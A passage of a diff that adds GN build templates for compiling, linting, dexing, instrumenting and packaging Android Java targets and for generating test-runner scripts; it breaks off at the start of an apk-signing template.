+            rebase_path(invoker.incremental_install_script_path, root_build_dir)
+        args += [ "--apk-path=$_rebased_apk_path" ]
+        args += [ "--incremental-apk-path=$_rebased_incremental_apk_path" ]
+        args += [ "--incremental-install-script-path=$_rebased_incremental_install_script_path" ]
+      }
+    }
+
+    if (defined(invoker.java_sources_file)) {
+      args += [
+        "--java-sources-file",
+        rebase_path(invoker.java_sources_file, root_build_dir),
+      ]
+    }
+    if (defined(invoker.srcjar)) {
+      args += [
+        "--srcjar",
+        rebase_path(invoker.srcjar, root_build_dir),
+      ]
+    }
+    if (defined(invoker.bundled_srcjars)) {
+      _rebased_bundled_srcjars =
+          rebase_path(invoker.bundled_srcjars, root_build_dir)
+      args += [ "--bundled-srcjars=$_rebased_bundled_srcjars" ]
+    }
+    if (defined(invoker.input_jars_paths)) {
+      _rebased_input_jars_paths =
+          rebase_path(invoker.input_jars_paths, root_build_dir)
+      args += [ "--extra-classpath-jars=$_rebased_input_jars_paths" ]
+    }
+    if (defined(invoker.proguard_configs)) {
+      _rebased_proguard_configs =
+          rebase_path(invoker.proguard_configs, root_build_dir)
+      args += [ "--proguard-configs=$_rebased_proguard_configs" ]
+    }
+    if (defined(invoker.gradle_treat_as_prebuilt) &&
+        invoker.gradle_treat_as_prebuilt) {
+      args += [ "--gradle-treat-as-prebuilt" ]
+    }
+    if (defined(invoker.main_class)) {
+      args += [
+        "--main-class",
+        invoker.main_class,
+      ]
+    }
+    if (current_toolchain != default_toolchain) {
+      # This has to be a built-time error rather than a GN assert because many
+      # packages have a mix of java and non-java targets. For example, the
+      # following would fail even though nothing depends on :bar(//baz):
+      #
+      # shared_library("foo") {
+      # }
+      #
+      # android_library("bar") {
+      #   deps = [ ":foo(//baz)" ]
+      #   assert(current_toolchain == default_toolchain)
+      # }
+      _msg = [
+        "Tried to build an Android target in a non-default toolchain.",
+        "target: " + get_label_info(":$target_name", "label_with_toolchain"),
+        "default_toolchain: $default_toolchain",
+      ]
+      args += [ "--fail=$_msg" ]
+    }
+  }
+}
+
+template("copy_ex") {
+  set_sources_assignment_filter([])
+  action(target_name) {
+    forward_variables_from(invoker,
+                           [
+                             "data",
+                             "deps",
+                             "inputs",
+                             "sources",
+                             "testonly",
+                             "visibility",
+                           ])
+    if (!defined(sources)) {
+      sources = []
+    }
+    script = "//build/android/gyp/copy_ex.py"
+    depfile = "$target_gen_dir/$target_name.d"
+
+    _stamp_file = "$target_gen_dir/$target_name.stamp"
+    outputs = [
+      _stamp_file,
+    ]
+
+    args = [
+      "--depfile",
+      rebase_path(depfile, root_build_dir),
+      "--stamp",
+      rebase_path(_stamp_file, root_build_dir),
+      "--dest",
+      rebase_path(invoker.dest, root_build_dir),
+    ]
+    rebased_sources = rebase_path(sources, root_build_dir)
+    args += [ "--files=$rebased_sources" ]
+
+    if (defined(invoker.clear_dir) && invoker.clear_dir) {
+      args += [ "--clear" ]
+    }
+
+    if (defined(invoker.args)) {
+      args += invoker.args
+    }
+
+    if (defined(invoker.renaming_sources) &&
+        defined(invoker.renaming_destinations)) {
+      sources += invoker.renaming_sources
+      rebased_renaming_sources =
+          rebase_path(invoker.renaming_sources, root_build_dir)
+      args += [ "--renaming-sources=$rebased_renaming_sources" ]
+
+      renaming_destinations = invoker.renaming_destinations
+      args += [ "--renaming-destinations=$renaming_destinations" ]
+    }
+  }
+}
+
+# Generates a script in the build bin directory which runs the test
+# target using the test runner script in build/android/test_runner.py.
+template("test_runner_script") {
+  testonly = true
+  _test_name = invoker.test_name
+  _test_type = invoker.test_type
+  _incremental_install =
+      defined(invoker.incremental_install) && invoker.incremental_install
+
+  _runtime_deps =
+      !defined(invoker.ignore_all_data_deps) || !invoker.ignore_all_data_deps
+
+  if (_runtime_deps) {
+    # This runtime_deps file is used at runtime and thus cannot go in
+    # target_gen_dir.
+    _target_dir_name = get_label_info(":$target_name", "dir")
+    _runtime_deps_file =
+        "$root_out_dir/gen.runtime/$_target_dir_name/$target_name.runtime_deps"
+    _runtime_deps_target = "${target_name}__write_deps"
+    group(_runtime_deps_target) {
+      forward_variables_from(invoker,
+                             [
+                               "data",
+                               "data_deps",
+                               "deps",
+                               "public_deps",
+                             ])
+      write_runtime_deps = _runtime_deps_file
+    }
+  }
+
+  action(target_name) {
+    forward_variables_from(invoker,
+                           [
+                             "data_deps",
+                             "deps",
+                           ])
+    if (!defined(deps)) {
+      deps = []
+    }
+    if (!defined(data_deps)) {
+      data_deps = []
+    }
+
+    script = "//build/android/gyp/create_test_runner_script.py"
+    depfile = "$target_gen_dir/$target_name.d"
+
+    data_deps += [ "//build/android:test_runner_py" ]
+    data = []
+
+    test_runner_args = [
+      _test_type,
+      "--output-directory",
+      rebase_path(root_build_dir, root_build_dir),
+    ]
+
+    if (_runtime_deps) {
+      deps += [ ":$_runtime_deps_target" ]
+      data += [ _runtime_deps_file ]
+      test_runner_args += [
+        "--runtime-deps-path",
+        rebase_path(_runtime_deps_file, root_build_dir),
+      ]
+    }
+
+    # apk_target is not used for native executable tests
+    # (e.g. breakpad_unittests).
+    if (defined(invoker.apk_target)) {
+      assert(!defined(invoker.executable_dist_dir))
+      deps += [ "${invoker.apk_target}__build_config" ]
+      _apk_build_config =
+          get_label_info(invoker.apk_target, "target_gen_dir") + "/" +
+          get_label_info(invoker.apk_target, "name") + ".build_config"
+      _rebased_apk_build_config = rebase_path(_apk_build_config, root_build_dir)
+      assert(_rebased_apk_build_config != "")  # Mark as used.
+    } else if (_test_type == "gtest") {
+      assert(
+          defined(invoker.executable_dist_dir),
+          "Must define either apk_target or executable_dist_dir for test_runner_script()")
+      test_runner_args += [
+        "--executable-dist-dir",
+        rebase_path(invoker.executable_dist_dir, root_build_dir),
+      ]
+    }
+
+    if (_test_type == "gtest") {
+      assert(defined(invoker.test_suite))
+      test_runner_args += [
+        "--suite",
+        invoker.test_suite,
+      ]
+    } else if (_test_type == "instrumentation") {
+      _test_apk = "@FileArg($_rebased_apk_build_config:deps_info:apk_path)"
+      if (_incremental_install) {
+        _test_apk = "@FileArg($_rebased_apk_build_config:deps_info:incremental_apk_path)"
+      }
+      test_runner_args += [
+        "--test-apk=$_test_apk",
+        "--test-jar",
+        rebase_path(invoker.test_jar, root_build_dir),
+      ]
+      if (defined(invoker.apk_under_test)) {
+        deps += [ "${invoker.apk_under_test}__build_config" ]
+        _apk_under_test_build_config =
+            get_label_info(invoker.apk_under_test, "target_gen_dir") + "/" +
+            get_label_info(invoker.apk_under_test, "name") + ".build_config"
+        _rebased_apk_under_test_build_config =
+            rebase_path(_apk_under_test_build_config, root_build_dir)
+        _apk_under_test =
+            "@FileArg($_rebased_apk_under_test_build_config:deps_info:apk_path)"
+        if (_incremental_install) {
+          _apk_under_test = "@FileArg($_rebased_apk_under_test_build_config:deps_info:incremental_apk_path)"
+        }
+        test_runner_args += [ "--apk-under-test=$_apk_under_test" ]
+      }
+      if (emma_coverage) {
+        # Set a default coverage output directory (can be overridden by user
+        # passing the same flag).
+        test_runner_args += [
+          "--coverage-dir",
+          rebase_path("$root_out_dir/coverage", root_build_dir),
+        ]
+      }
+    } else if (_test_type == "junit") {
+      assert(defined(invoker.test_suite))
+      test_runner_args += [
+        "--test-suite",
+        invoker.test_suite,
+      ]
+    } else {
+      assert(false, "Invalid test type: $_test_type.")
+    }
+
+    if (defined(invoker.additional_apks)) {
+      foreach(additional_apk, invoker.additional_apks) {
+        deps += [ "${additional_apk}__build_config" ]
+        _build_config = get_label_info(additional_apk, "target_gen_dir") + "/" +
+                        get_label_info(additional_apk, "name") + ".build_config"
+        _rebased_build_config = rebase_path(_build_config, root_build_dir)
+        test_runner_args += [
+          "--additional-apk",
+          "@FileArg($_rebased_build_config:deps_info:apk_path)",
+        ]
+      }
+    }
+    if (defined(invoker.shard_timeout)) {
+      test_runner_args += [ "--shard-timeout=${invoker.shard_timeout}" ]
+    }
+    if (_incremental_install) {
+      test_runner_args += [
+        "--test-apk-incremental-install-script",
+        "@FileArg($_rebased_apk_build_config:deps_info:incremental_install_script_path)",
+      ]
+      if (defined(invoker.apk_under_test)) {
+        test_runner_args += [
+          "--apk-under-test-incremental-install-script",
+          "@FileArg($_rebased_apk_under_test_build_config:deps_info:incremental_install_script_path)",
+        ]
+      }
+      test_runner_args += [ "--fast-local-dev" ]
+    }
+    if (is_asan) {
+      test_runner_args += [ "--tool=asan" ]
+    }
+
+    generated_script = "$root_build_dir/bin/run_${_test_name}"
+    outputs = [
+      generated_script,
+    ]
+    data += [ generated_script ]
+
+    args = [
+      "--depfile",
+      rebase_path(depfile, root_build_dir),
+      "--script-output-path",
+      rebase_path(generated_script, root_build_dir),
+    ]
+    if (defined(android_test_runner_script)) {
+      args += [
+        "--test-runner-path",
+        android_test_runner_script,
+      ]
+    }
+
+    args += test_runner_args
+  }
+}
+
+if (enable_java_templates) {
+  import("//build/config/zip.gni")
+  import("//third_party/ijar/ijar.gni")
+  import("//third_party/android_platform/config.gni")
+
+  rebased_android_sdk = rebase_path(android_sdk, root_build_dir)
+  rebased_android_sdk_build_tools =
+      rebase_path(android_sdk_build_tools, root_build_dir)
+
+  android_sdk_jar = "$android_sdk/android.jar"
+  rebased_android_sdk_jar = rebase_path(android_sdk_jar, root_build_dir)
+  android_default_aapt_path = "$rebased_android_sdk_build_tools/aapt"
+
+  android_configuration_name = "Release"
+  if (is_debug) {
+    android_configuration_name = "Debug"
+  }
+
+  template("android_lint") {
+    action(target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "deps",
+                               "data_deps",
+                               "public_deps",
+                               "testonly",
+                             ])
+      if (!defined(deps)) {
+        deps = []
+      }
+
+      if (!defined(lint_suppressions_file)) {
+        lint_suppressions_file = "//build/android/lint/suppressions.xml"
+      }
+
+      _cache_dir = "$root_build_dir/android_lint_cache"
+      _result_path = "$target_gen_dir/$target_name/result.xml"
+      _config_path = "$target_gen_dir/$target_name/config.xml"
+      _suppressions_file = lint_suppressions_file
+      _platform_xml_path =
+          "${android_sdk_root}/platform-tools/api/api-versions.xml"
+      _rebased_lint_android_sdk_root =
+          rebase_path(lint_android_sdk_root, root_build_dir)
+
+      script = "//build/android/gyp/lint.py"
+      depfile = "$target_gen_dir/$target_name.d"
+      inputs = [
+        _platform_xml_path,
+        _suppressions_file,
+        invoker.android_manifest,
+      ]
+
+      outputs = [
+        _result_path,
+        _config_path,
+      ]
+
+      args = [
+        "--lint-path=$_rebased_lint_android_sdk_root/tools/lint",
+        "--cache-dir",
+        rebase_path(_cache_dir, root_build_dir),
+        "--platform-xml-path",
+        rebase_path(_platform_xml_path, root_build_dir),
+        "--android-sdk-version=${lint_android_sdk_version}",
+        "--depfile",
+        rebase_path(depfile, root_build_dir),
+        "--config-path",
+        rebase_path(_suppressions_file, root_build_dir),
+        "--manifest-path",
+        rebase_path(invoker.android_manifest, root_build_dir),
+        "--product-dir=.",
+        "--processed-config-path",
+        rebase_path(_config_path, root_build_dir),
+        "--result-path",
+        rebase_path(_result_path, root_build_dir),
+        "--enable",
+      ]
+
+      if (defined(invoker.create_cache) && invoker.create_cache) {
+        args += [
+          "--create-cache",
+          "--silent",
+        ]
+      } else {
+        inputs += invoker.java_files
+        inputs += [
+          invoker.jar_path,
+          invoker.build_config,
+        ]
+        if (invoker.java_files != []) {
+          inputs += [ invoker.java_sources_file ]
+          _rebased_java_sources_file =
+              rebase_path(invoker.java_sources_file, root_build_dir)
+          args += [ "--java-sources-file=$_rebased_java_sources_file" ]
+        }
+        deps += [ "//build/android:prepare_android_lint_cache" ]
+
+        _rebased_build_config =
+            rebase_path(invoker.build_config, root_build_dir)
+        args += [
+          "--jar-path",
+          rebase_path(invoker.jar_path, root_build_dir),
+          "--classpath=@FileArg($_rebased_build_config:javac:interface_classpath)",
+          "--resource-sources=@FileArg($_rebased_build_config:deps_info:owned_resources_dirs)",
+          "--resource-sources=@FileArg($_rebased_build_config:deps_info:owned_resources_zips)",
+          "--can-fail-build",
+        ]
+      }
+    }
+  }
+
+  template("proguard") {
+    action(target_name) {
+      set_sources_assignment_filter([])
+      forward_variables_from(invoker,
+                             [
+                               "deps",
+                               "data_deps",
+                               "public_deps",
+                               "testonly",
+                             ])
+      script = "//build/android/gyp/proguard.py"
+      if (defined(invoker.proguard_jar_path)) {
+        _proguard_jar_path = invoker.proguard_jar_path
+      } else {
+        _proguard_jar_path = "//third_party/proguard/lib/proguard.jar"
+      }
+      _output_jar_path = invoker.output_jar_path
+      inputs = [
+        _proguard_jar_path,
+      ]
+      if (defined(invoker.alternative_android_sdk_jar)) {
+        inputs += [ invoker.alternative_android_sdk_jar ]
+        _rebased_android_sdk_jar =
+            rebase_path(invoker.alternative_android_sdk_jar)
+      } else {
+        inputs += [ android_sdk_jar ]
+        _rebased_android_sdk_jar = rebased_android_sdk_jar
+      }
+      if (defined(invoker.inputs)) {
+        inputs += invoker.inputs
+      }
+      depfile = "${target_gen_dir}/${target_name}.d"
+      outputs = [
+        _output_jar_path,
+        "$_output_jar_path.dump",
+        "$_output_jar_path.seeds",
+        "$_output_jar_path.mapping",
+        "$_output_jar_path.usage",
+      ]
+      args = [
+        "--depfile",
+        rebase_path(depfile, root_build_dir),
+        "--proguard-path",
+        rebase_path(_proguard_jar_path, root_build_dir),
+        "--output-path",
+        rebase_path(_output_jar_path, root_build_dir),
+        "--classpath",
+        _rebased_android_sdk_jar,
+      ]
+      if (proguard_verbose) {
+        args += [ "--verbose" ]
+      }
+      if (defined(invoker.args)) {
+        args += invoker.args
+      }
+      if (defined(invoker.proguard_jar_path)) {
+        # We assume that if we are using a different ProGuard, this new version
+        # can handle the 'dangerous' optimizaions.
+        args += [ "--enable-dangerous-optimizations" ]
+      }
+    }
+  }
+
+  template("findbugs") {
+    action(target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "deps",
+                               "testonly",
+                             ])
+      script = "//build/android/findbugs_diff.py"
+      depfile = "$target_gen_dir/$target_name.d"
+      _result_path = "$target_gen_dir/$target_name/result.xml"
+      _exclusions_file = "//build/android/findbugs_filter/findbugs_exclude.xml"
+
+      _rebased_build_config = rebase_path(invoker.build_config, root_build_dir)
+
+      inputs = [
+        "//build/android/pylib/utils/findbugs.py",
+        _exclusions_file,
+        invoker.jar_path,
+        invoker.build_config,
+      ]
+
+      outputs = [
+        _result_path,
+      ]
+
+      args = [
+        "--depfile",
+        rebase_path(depfile, root_build_dir),
+        "--exclude",
+        rebase_path(_exclusions_file, root_build_dir),
+        "--auxclasspath-gyp",
+        "@FileArg($_rebased_build_config:javac:classpath)",
+        "--output-file",
+        rebase_path(_result_path, root_build_dir),
+        rebase_path(invoker.jar_path, root_build_dir),
+      ]
+
+      if (findbugs_verbose) {
+        args += [ "-vv" ]
+      }
+    }
+  }
+
+  # Generates a script in the build bin directory to run a java binary.
+  #
+  # Variables
+  #   main_class: The class containing the program entry point.
+  #   jar_path: The path to the jar to run.
+  #   script_name: Name of the script to generate.
+  #   build_config: Path to .build_config for the jar (contains classpath).
+  #   wrapper_script_args: List of extra arguments to pass to the executable.
+  #
+  template("java_binary_script") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+
+    _main_class = invoker.main_class
+    _build_config = invoker.build_config
+    _jar_path = invoker.jar_path
+    _script_name = invoker.script_name
+
+    action(target_name) {
+      script = "//build/android/gyp/create_java_binary_script.py"
+      depfile = "$target_gen_dir/$_script_name.d"
+      java_script = "$root_build_dir/bin/$_script_name"
+      inputs = [
+        _build_config,
+      ]
+      outputs = [
+        java_script,
+      ]
+      forward_variables_from(invoker, [ "deps" ])
+      _rebased_build_config = rebase_path(_build_config, root_build_dir)
+      args = [
+        "--depfile",
+        rebase_path(depfile, root_build_dir),
+        "--output",
+        rebase_path(java_script, root_build_dir),
+        "--classpath=@FileArg($_rebased_build_config:deps_info:java:full_classpath)",
+        "--jar-path",
+        rebase_path(_jar_path, root_build_dir),
+        "--main-class",
+        _main_class,
+      ]
+      if (emma_coverage) {
+        args += [
+          "--classpath",
+          rebase_path("//third_party/android_tools/sdk/tools/lib/emma.jar",
+                      root_build_dir),
+        ]
+        args += [ "--noverify" ]
+      }
+      if (defined(invoker.wrapper_script_args)) {
+        args += [ "--" ] + invoker.wrapper_script_args
+      }
+      if (defined(invoker.bootclasspath)) {
+        args += [
+          "--bootclasspath",
+          rebase_path(invoker.bootclasspath, root_build_dir),
+        ]
+      }
+    }
+  }
+
+  template("dex") {
+    set_sources_assignment_filter([])
+
+    _enable_multidex =
+        defined(invoker.enable_multidex) && invoker.enable_multidex
+
+    if (_enable_multidex) {
+      _main_dex_list_path = invoker.output + ".main_dex_list"
+      _main_dex_list_target_name = "${target_name}__main_dex_list"
+      action(_main_dex_list_target_name) {
+        forward_variables_from(invoker,
+                               [
+                                 "deps",
+                                 "inputs",
+                                 "sources",
+                                 "testonly",
+                               ])
+
+        script = "//build/android/gyp/main_dex_list.py"
+        depfile = "$target_gen_dir/$target_name.d"
+
+        main_dex_rules = "//build/android/main_dex_classes.flags"
+
+        if (!defined(inputs)) {
+          inputs = []
+        }
+        inputs += [ main_dex_rules ]
+
+        outputs = [
+          _main_dex_list_path,
+        ]
+
+        args = [
+          "--depfile",
+          rebase_path(depfile, root_build_dir),
+          "--android-sdk-tools",
+          rebased_android_sdk_build_tools,
+          "--main-dex-list-path",
+          rebase_path(_main_dex_list_path, root_build_dir),
+          "--main-dex-rules-path",
+          rebase_path(main_dex_rules, root_build_dir),
+        ]
+
+        if (defined(invoker.args)) {
+          args += invoker.args
+        }
+
+        if (defined(invoker.sources)) {
+          args += rebase_path(invoker.sources, root_build_dir)
+        }
+      }
+    }
+
+    assert(defined(invoker.output))
+    action(target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "deps",
+                               "inputs",
+                               "sources",
+                               "testonly",
+                             ])
+      script = "//build/android/gyp/dex.py"
+      depfile = "$target_gen_dir/$target_name.d"
+      outputs = [
+        invoker.output,
+      ]
+
+      rebased_output = rebase_path(invoker.output, root_build_dir)
+
+      args = [
+        "--depfile",
+        rebase_path(depfile, root_build_dir),
+        "--android-sdk-tools",
+        rebased_android_sdk_build_tools,
+        "--dex-path",
+        rebased_output,
+      ]
+
+      if (enable_incremental_dx) {
+        args += [ "--incremental" ]
+      }
+
+      # EMMA requires --no-locals.
+      if (emma_coverage) {
+        args += [ "--no-locals=1" ]
+      }
+
+      if (_enable_multidex) {
+        args += [
+          "--multi-dex",
+          "--main-dex-list-path",
+          rebase_path(_main_dex_list_path, root_build_dir),
+        ]
+        deps += [ ":${_main_dex_list_target_name}" ]
+        inputs += [ _main_dex_list_path ]
+      }
+
+      if (defined(invoker.args)) {
+        args += invoker.args
+      }
+
+      if (defined(invoker.sources)) {
+        args += rebase_path(invoker.sources, root_build_dir)
+      }
+    }
+  }
+
+  template("process_java_prebuilt") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+
+    assert(invoker.build_config != "")
+    _build_config = invoker.build_config
+    _rebased_build_config = rebase_path(_build_config, root_build_dir)
+    assert(_rebased_build_config != "" || true)  # Mark used.
+
+    _input_jar_path = invoker.input_jar_path
+    _output_jar_path = invoker.output_jar_path
+
+    _jar_excluded_patterns = []
+    if (defined(invoker.jar_excluded_patterns)) {
+      _jar_excluded_patterns = invoker.jar_excluded_patterns
+    }
+    _strip_resource_classes = defined(invoker.strip_resource_classes) &&
+                              invoker.strip_resource_classes
+    _filter_jar = _jar_excluded_patterns != [] || _strip_resource_classes
+
+    _proguard_preprocess =
+        defined(invoker.proguard_preprocess) && invoker.proguard_preprocess
+
+    _enable_assert =
+        defined(invoker.supports_android) && invoker.supports_android &&
+        (is_java_debug || dcheck_always_on)
+
+    _retrolambda = defined(invoker.supports_android) &&
+                   invoker.supports_android && use_java8
+
+    _deps = []
+    _previous_output_jar = _input_jar_path
+
+    if (_filter_jar) {
+      _filter_target = "${target_name}__filter"
+      _filter_input_jar = _previous_output_jar
+      _filter_output_jar = "$target_out_dir/$target_name-filtered.jar"
+
+      action(_filter_target) {
+        script = "//build/android/gyp/jar.py"
+        deps = _deps
+        if (defined(invoker.deps)) {
+          deps += invoker.deps
+        }
+        if (defined(invoker.public_deps)) {
+          public_deps = invoker.public_deps
+        }
+        inputs = [
+          _build_config,
+          _filter_input_jar,
+        ]
+        outputs = [
+          _filter_output_jar,
+        ]
+        args = [
+          "--input-jar",
+          rebase_path(_filter_input_jar, root_build_dir),
+          "--jar-path",
+          rebase_path(_filter_output_jar, root_build_dir),
+          "--excluded-classes=$_jar_excluded_patterns",
+        ]
+        if (_strip_resource_classes) {
+          args += [ "--strip-resource-classes-for=@FileArg($_rebased_build_config:javac:resource_packages)" ]
+        }
+      }
+
+      _deps = []
+      _deps = [ ":$_filter_target" ]
+      _previous_output_jar = _filter_output_jar
+    }
+
+    if (_proguard_preprocess) {
+      _proguard_target = "${target_name}__proguard_process"
+      _proguard_input_jar = _previous_output_jar
+      _proguard_output_jar = "$target_out_dir/$target_name-proguarded.jar"
+      _proguard_config_path = invoker.proguard_preprocess_config
+
+      proguard(_proguard_target) {
+        deps = _deps
+        if (defined(invoker.deps)) {
+          deps += invoker.deps
+        }
+        if (defined(invoker.public_deps)) {
+          public_deps = invoker.public_deps
+        }
+        inputs = [
+          _build_config,
+          _proguard_config_path,
+          _proguard_input_jar,
+        ]
+        output_jar_path = _proguard_output_jar
+
+        _rebased_input_paths =
+            [ rebase_path(_proguard_input_jar, root_build_dir) ]
+        _rebased_proguard_configs =
+            [ rebase_path(_proguard_config_path, root_build_dir) ]
+        args = [
+          "--input-paths=$_rebased_input_paths",
+          "--proguard-configs=$_rebased_proguard_configs",
+          "--classpath=@FileArg($_rebased_build_config:javac:classpath)",
+        ]
+      }
+
+      _deps = []
+      _deps = [ ":$_proguard_target" ]
+      _previous_output_jar = _proguard_output_jar
+    }
+
+    if (_enable_assert) {
+      _assert_target = "${target_name}__assert"
+      _assert_input_jar = _previous_output_jar
+      _assert_output_jar = "$target_out_dir/$target_name-asserted.jar"
+
+      action(_assert_target) {
+        script = "$root_build_dir/bin/helper/java_assertion_enabler"
+        deps = [
+          "//build/android/java_assertion_enabler($default_toolchain)",
+        ]
+        deps += _deps
+        if (defined(invoker.deps)) {
+          deps += invoker.deps
+        }
+        if (defined(invoker.public_deps)) {
+          public_deps = invoker.public_deps
+        }
+        inputs = [
+          _assert_input_jar,
+        ]
+        outputs = [
+          _assert_output_jar,
+        ]
+        args = [
+          rebase_path(_assert_input_jar, root_build_dir),
+          rebase_path(_assert_output_jar, root_build_dir),
+        ]
+      }
+
+      _deps = []
+      _deps = [ ":$_assert_target" ]
+      _previous_output_jar = _assert_output_jar
+    }
+
+    if (_retrolambda) {
+      _retrolambda_target = "${target_name}__retrolambda"
+      _retrolambda_input_jar = _previous_output_jar
+      _retrolambda_output_jar = "$target_out_dir/$target_name-retrolambda.jar"
+
+      android_sdk_jar = "$android_sdk/android.jar"
+      action(_retrolambda_target) {
+        script = "//build/android/gyp/retrolambda.py"
+        deps = _deps
+        if (defined(invoker.deps)) {
+          deps += invoker.deps
+        }
+        if (defined(invoker.public_deps)) {
+          public_deps = invoker.public_deps
+        }
+        inputs = [
+          _build_config,
+          _retrolambda_input_jar,
+        ]
+        outputs = [
+          _retrolambda_output_jar,
+        ]
+        args = [
+          "--input-jar",
+          rebase_path(_retrolambda_input_jar, root_build_dir),
+          "--output-jar",
+          rebase_path(_retrolambda_output_jar, root_build_dir),
+          "--classpath=@FileArg($_rebased_build_config:javac:classpath)",
+          "--android-sdk-jar",
+          rebase_path(android_sdk_jar, root_build_dir),
+        ]
+      }
+
+      _deps = []
+      _deps = [ ":$_retrolambda_target" ]
+      _previous_output_jar = _retrolambda_output_jar
+    }
+
+    _output_jar_target = "${target_name}__copy"
+    copy(_output_jar_target) {
+      deps = _deps
+      if (defined(invoker.deps)) {
+        deps += invoker.deps
+      }
+      if (defined(invoker.public_deps)) {
+        public_deps = invoker.public_deps
+      }
+      sources = [
+        _previous_output_jar,
+      ]
+      outputs = [
+        _output_jar_path,
+      ]
+    }
+
+    group(target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "data_deps",
+                               "visibility",
+                             ])
+      public_deps = [
+        ":$_output_jar_target",
+      ]
+    }
+  }
+
+  template("emma_instr") {
+    action(target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "deps",
+                               "testonly",
+                             ])
+
+      _coverage_file = "$target_out_dir/${target_name}.em"
+      _source_dirs_listing_file = "$target_out_dir/${target_name}_sources.txt"
+      _emma_jar = "${android_sdk_root}/tools/lib/emma.jar"
+
+      script = "//build/android/gyp/emma_instr.py"
+      depfile = "${target_gen_dir}/${target_name}.d"
+      inputs = invoker.java_files + [
+                 _emma_jar,
+                 invoker.input_jar_path,
+               ]
+      outputs = [
+        _coverage_file,
+        _source_dirs_listing_file,
+        invoker.output_jar_path,
+      ]
+      args = [
+        "instrument_jar",
+        "--input-path",
+        rebase_path(invoker.input_jar_path, root_build_dir),
+        "--output-path",
+        rebase_path(invoker.output_jar_path, root_build_dir),
+        "--depfile",
+        rebase_path(depfile, root_build_dir),
+        "--coverage-file",
+        rebase_path(_coverage_file, root_build_dir),
+        "--sources-list-file",
+        rebase_path(_source_dirs_listing_file, root_build_dir),
+        "--src-root",
+        rebase_path("//", root_build_dir),
+        "--emma-jar",
+        rebase_path(_emma_jar, root_build_dir),
+      ]
+      _rebased_java_sources_file =
+          rebase_path(invoker.java_sources_file, root_build_dir)
+      args += [ "--java-sources-file=$_rebased_java_sources_file" ]
+
+      if (emma_filter != "") {
+        args += [
+          "--filter-string",
+          emma_filter,
+        ]
+      }
+    }
+  }
+
+  # Creates an unsigned .apk.
+  #
+  # Variables
+  #   assets_build_config: Path to android_apk .build_config containing merged
+  #       asset information.
+  #   deps: Specifies the dependencies of this target.
+  #   dex_path: Path to classes.dex file to include (optional).
+  #   resource_packaged_apk_path: Path to .ap_ to use.
+  #   output_apk_path: Output path for the generated .apk.
+  #   native_lib_placeholders: List of placeholder filenames to add to the apk
+  #     (optional).
+  #   native_libs: List of native libraries.
+  #   native_libs_filearg: @FileArg() of additionaly native libraries.
+  #   write_asset_list: Adds an extra file to the assets, which contains a list of
+  #     all other asset files.
+  template("package_apk") {
+    action(target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "deps",
+                               "public_deps",
+                               "testonly",
+                             ])
+      _native_lib_placeholders = []
+      if (defined(invoker.native_lib_placeholders)) {
+        _native_lib_placeholders = invoker.native_lib_placeholders
+      }
+
+      script = "//build/android/gyp/apkbuilder.py"
+      depfile = "$target_gen_dir/$target_name.d"
+      data_deps = [
+        "//tools/android/md5sum",
+      ]  # Used when deploying APKs
+
+      inputs = invoker.native_libs + [ invoker.resource_packaged_apk_path ]
+      if (defined(invoker.dex_path)) {
+        inputs += [ invoker.dex_path ]
+      }
+
+      outputs = [
+        invoker.output_apk_path,
+      ]
+
+      _rebased_resource_packaged_apk_path =
+          rebase_path(invoker.resource_packaged_apk_path, root_build_dir)
+      _rebased_packaged_apk_path =
+          rebase_path(invoker.output_apk_path, root_build_dir)
+      args = [
+        "--depfile",
+        rebase_path(depfile, root_build_dir),
+        "--resource-apk=$_rebased_resource_packaged_apk_path",
+        "--output-apk=$_rebased_packaged_apk_path",
+      ]
+      if (defined(invoker.assets_build_config)) {
+        inputs += [ invoker.assets_build_config ]
+        _rebased_build_config =
+            rebase_path(invoker.assets_build_config, root_build_dir)
+        args += [
+          "--assets=@FileArg($_rebased_build_config:assets)",
+          "--uncompressed-assets=@FileArg($_rebased_build_config:uncompressed_assets)",
+        ]
+      }
+      if (defined(invoker.write_asset_list) && invoker.write_asset_list) {
+        args += [ "--write-asset-list" ]
+      }
+      if (defined(invoker.dex_path)) {
+        _rebased_dex_path = rebase_path(invoker.dex_path, root_build_dir)
+        args += [ "--dex-file=$_rebased_dex_path" ]
+      }
+      if (invoker.native_libs != [] || defined(invoker.native_libs_filearg) ||
+          _native_lib_placeholders != []) {
+        args += [ "--android-abi=$android_app_abi" ]
+      }
+      if (invoker.native_libs != []) {
+        _rebased_native_libs = rebase_path(invoker.native_libs, root_build_dir)
+        args += [ "--native-libs=$_rebased_native_libs" ]
+      }
+      if (defined(invoker.native_libs_filearg)) {
+        args += [ "--native-libs=${invoker.native_libs_filearg}" ]
+      }
+      if (_native_lib_placeholders != []) {
+        args += [ "--native-lib-placeholders=$_native_lib_placeholders" ]
+      }
+
+      # TODO (michaelbai): Remove the secondary_native_libs variable.
+      if (defined(invoker.secondary_abi_native_libs_filearg)) {
+        assert(defined(android_app_secondary_abi))
+        args += [
+          "--secondary-native-libs=${invoker.secondary_abi_native_libs_filearg}",
+          "--secondary-android-abi=$android_app_secondary_abi",
+        ]
+      } else if (defined(invoker.secondary_native_libs) &&
+                 invoker.secondary_native_libs != []) {
+        assert(defined(android_app_secondary_abi))
+        inputs += invoker.secondary_native_libs
+        _secondary_native_libs = rebase_path(invoker.secondary_native_libs)
+        args += [
+          "--secondary-native-libs=$_secondary_native_libs",
+          "--secondary-android-abi=$android_app_secondary_abi",
+        ]
+      }
+
+      if (defined(invoker.emma_instrument) && invoker.emma_instrument) {
+        _emma_device_jar = "$android_sdk_root/tools/lib/emma_device.jar"
+        _rebased_emma_device_jar = rebase_path(_emma_device_jar, root_build_dir)
+        args += [ "--emma-device-jar=$_rebased_emma_device_jar" ]
+      }
+
+      if (defined(invoker.uncompress_shared_libraries) &&
+          invoker.uncompress_shared_libraries) {
+        args += [ "--uncompress-shared-libraries" ]
+      }
+    }
+  }
+
+  # Signs & zipaligns an apk.
+  #
+  # Variables
+  #   input_apk_path: Path of the .apk to be finalized.
+  #   output_apk_path: Output path for the generated .apk.
+  #   keystore_path: Path to keystore to use for signing.
